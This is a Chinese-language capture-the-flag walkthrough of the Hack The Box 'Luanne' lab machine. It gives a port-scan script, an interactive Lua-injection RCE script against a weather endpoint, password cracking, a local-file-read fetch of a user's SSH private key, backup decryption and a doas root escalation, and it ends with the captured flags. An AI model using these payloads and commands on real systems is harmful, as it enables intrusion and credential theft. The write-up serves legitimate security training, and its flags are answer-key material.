[Meachines] [Easy] Luanne Lua RCE+bozoHTTPd LFI+NetBSD-Dec+doas权限提升
字数 645 2025-08-29 08:30:19
Luanne靶机渗透测试教学文档
信息收集
初始扫描
ip='10.10.10.218'
itf='tun0'
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"
nmap -Pn -sV -sC -p "$ports" "$ip"
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m"
fi
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"
fi
扫描结果:
- 22/tcp: OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk)
- 80/tcp: nginx 1.19.0
- 9001/tcp: Medusa httpd 1.12 (Supervisor process manager)
添加主机名到hosts文件
echo '10.10.10.218 luanne.htb' >> /etc/hosts
检查robots.txt
访问 http://10.10.10.218/robots.txt 发现一个禁止访问的目录:
User-agent: *
Disallow: /weather
Web应用渗透
目录爆破
feroxbuster --url 'http://luanne.htb/weather'
Lua RCE漏洞利用
发现 /weather/forecast 端点存在Lua代码注入漏洞:
#!/bin/bash
TARGET="http://luanne.htb/weather/forecast?city=list%27)%20os.execute('%s')%20--"
while true; do
read -p "Enter the command to execute (enter 'exit' to quit): " CMD
# If the user inputs 'exit', exit the loop
if [[ "$CMD" == "exit" ]]; then
echo "Exiting..."
break
fi
ENCODED_CMD=$(python3 -c "import urllib.parse; print(urllib.parse.quote('''$CMD'''))")
URL="${TARGET//%s/$ENCODED_CMD}"
echo "[+] Executing: $CMD"
RESPONSE=$(curl -s "$URL")
echo "[+] Server response:"
echo "$RESPONSE"
echo
done
获取凭据
通过RCE执行命令查看 /etc/supervisord.conf 文件,发现webapi_user的密码hash:
username:webapi_user
password:iamthebest
使用John破解密码:
john hash --wordlist=/home/maptnh/Desktop/rockyou.txt --fork=4
横向移动
bozoHTTPd LFI漏洞利用
使用获取的凭据访问本地服务:
curl -u webapi_user:iamthebest http://localhost:3001/ -v
利用LFI漏洞获取用户r.michaels的SSH私钥:
curl -u webapi_user:iamthebest http://localhost:3001/~r.michaels/id_rsa
SSH登录
使用获取的私钥登录:
ssh r.michaels@10.10.10.218 -i ./id_rsa
权限提升
解密备份文件
使用NetBSD的netpgp工具解密加密的备份文件:
netpgp --decrypt /home/r.michaels/backups/devel_backup-2020-09-16.tar.gz.enc --output ~/.gnupg/devel_backup-2020-09-16.tar.gz
发现webapi_user的密码:
password:littlebear
doas权限提升
检查doas配置,发现可以以root身份执行命令:
doas sh
Flag获取
- 用户flag:
ea5f0ce6a917b0be1eabc7f9218febc0
- root flag:
7a9b5c206e8e8ba09bb99bd113675f66